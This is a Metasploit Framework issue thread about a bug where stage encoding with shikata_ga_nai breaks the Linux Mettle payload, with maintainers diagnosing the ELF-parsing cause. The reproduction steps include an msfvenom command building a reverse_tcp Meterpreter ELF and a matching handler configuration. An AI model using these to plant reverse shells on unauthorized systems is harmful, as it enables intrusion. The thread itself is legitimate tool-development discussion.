Metasploit-framework: Stage encoding broken with Mettle

[kawaxi]

Steps to reproduce

How'd you do it?

load auto_add_route
load alias
load sounds
setg TimestampOutput true
setg VERBOSE true
setg ExitOnSession false
setg EnableStageEncoding true

use exploit/multi/handler
setg LHOST 0.0.0.0
set LPORT 4444
set payload linux/x86/meterpreter/reverse_tcp
exploit 

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=MYIP LPORT=4444 -f elf -o kawaxi

the victim is running backtrack 2.6.30.9 i686 GNU/Linux however I also ran the payload on my system and achieved the same result.

Expected behavior

I should be getting a meterpreter sessions.

What should happen?

Current behavior

Instead I get this msg and no connection whatsoever
[*] [2017.10.30-21:45:06] Encoded stage with x86/shikata_ga_nai

Metasploit version

Framework Version: 4.16.13-dev

I installed Metasploit with:

• [ ] Kali package via apt

OS

Linux kali 4.13.0-kali1-amd64 #1 SMP Debian 4.13.4-2kali1 (2017-10-16) x86_64 GNU/Linux

Any help with be appreciated.

Thanks.

[kawaxi]

It seems that specifying the Ip in LHOST does makes a difference in the outcome even when msf will still set it up on 0.0.0.0.

[-] [2017.10.30-22:58:34] Handler failed to bind to MYIP:4444:-  -
[*] [2017.10.30-22:58:34] Started reverse TCP handler on 0.0.0.0:4444 

Please, advice.

[void-in]

LHOST in both the stager and handler needs to be the IP address on which the stager is connecting. If the LHOST is not on this host, you can set the ReverseListenerBindAddress advanced option to the IP address configured on this host or by default it will bind to 0.0.0.0 which will work as well. If you need further support, please use IRC.

[wvu-r7]

The problem appears to be stage encoding.

[10/31/2017 12:09:49] [i(0)] core: linux/x86/meterpreter/reverse_tcp: iteration 1: Successfully encoded with encoder x86/shikata_ga_nai (size is 826902)
[10/31/2017 12:09:49] [e(0)] core: Exception raised from handle_connection: Rex::ElfParsey::ElfHeaderError: Invalid data encoding

/Users/wvu/.rvm/gems/ruby-2.4.2@metasploit-framework/gems/rex-bin_tools-0.1.4/lib/rex/elfparsey/elf.rb:18:in `new'
/Users/wvu/.rvm/gems/ruby-2.4.2@metasploit-framework/gems/rex-bin_tools-0.1.4/lib/rex/elfparsey/elf.rb:18:in `initialize'
/Users/wvu/metasploit-framework/modules/payloads/stages/linux/x86/meterpreter.rb:33:in `new'
/Users/wvu/metasploit-framework/modules/payloads/stages/linux/x86/meterpreter.rb:33:in `elf_ep'
/Users/wvu/metasploit-framework/modules/payloads/stages/linux/x86/meterpreter.rb:38:in `handle_intermediate_stage'
/Users/wvu/metasploit-framework/lib/msf/core/payload/stager.rb:200:in `handle_connection'
/Users/wvu/metasploit-framework/lib/msf/core/handler/reverse_tcp.rb:168:in `block (2 levels) in start_handler'
/Users/wvu/metasploit-framework/lib/msf/core/handler/reverse_tcp.rb:145:in `loop'
/Users/wvu/metasploit-framework/lib/msf/core/handler/reverse_tcp.rb:145:in `block in start_handler'
/Users/wvu/metasploit-framework/lib/msf/core/thread_manager.rb:100:in `block in spawn'

[busterb]

Ah - the binary stage here is not an elf file, so should elfparsey really be invoked?

[bwatters-r7]

We should not encode an elf

[wvu-r7]

Oops, I had a tentative fix for this.

[pbarry-r7]

Say @wvu-r7, did you have a fix for this you'd like to put in? We discussed just having msfvenom throw an error if the user attempts to encode an ELF.

[pbarry-r7]

Rumor is that there's a better fix on the way than what I was suggesting... :)

[wvu-r7]

The stage is being encoded before being parsed as an (invalid) ELF by ElfParsey. Obviously this is problematic, since the ELF header is encoded as well.

Unfortunately, parsing the ELF header before encoding may require significant reworking. We'd best warn that stage encoding is currently unsupported for Mettle at the moment.

This runs much deeper than msfvenom and isn't something the user can avoid short of disabling stage encoding for Mettle.

[timwr]

I agree that fixing this is possible but fiddly. +1 for warning (and then ignoring the option) for the time being.

[wvu-r7]

So I feel like I got pretty close to fixing the underlying issue, but rearranging how we do stage encoding is a risky proposition. I'll keep poking at it. In any case, a PR is up for the warning message.